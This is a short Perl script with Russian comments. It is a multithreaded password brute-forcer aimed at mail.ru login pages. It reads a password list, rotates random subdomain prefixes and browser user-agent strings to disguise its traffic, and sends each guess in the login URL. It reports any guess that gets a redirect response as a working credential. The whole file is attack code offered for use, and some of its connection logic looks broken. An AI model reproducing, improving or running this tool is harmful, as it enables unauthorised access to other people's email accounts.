#!/usr/bin/perl -W

use IO::Socket; 
use MD5; 
use threads; 
use threads::shared; 
my @pass : shared; 
$dic = "passl.txt"; #паслист для брдутфорсера
$login = 'login';
$threads = 4; #количество потоков 
@prefixes = ('as','sd','df','dff','fg','gh','hj');
@agents = ('Mozilla/4.0','Mozilla/5.0','Opera/9.22','IE','AppleMAC-Safari','Opera','FireFox');

open (pass1, "<$dic"); 

@pass = pass(); 

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} 
for(@trl) { $_->join; } 

sub Brut 
{ 

while (@pass){ 

$pass = shift @pass; 

my $random = int(rand(6));
my $prefix = $prefixes[$random];
print("random: $random prefix: $prefix pass: $pass\r\n");
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80); 
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". 
"Host: ".$prefix.".mail.ru\r\n". 
"Accept: */*\r\n". 
"Content-Type: application/x-www-form-urlencoded\r\n". 
"User-Agent: ".$agents[$random]."\r\n". 
"Connection: close\r\n\r\n"; 
$answ = <$sock>; 
close $sock; 
print "$pass $answ"; 
if ($answ =~ /302/){ 
print "$login : $pass\n"; 
exit;} 
} 

} 


sub pass 
{ 
my (@mas); 
while (<pass1>){ 
push @mas, $_; 
} 
chomp @mas; 
close pass1;
return @mas; 
}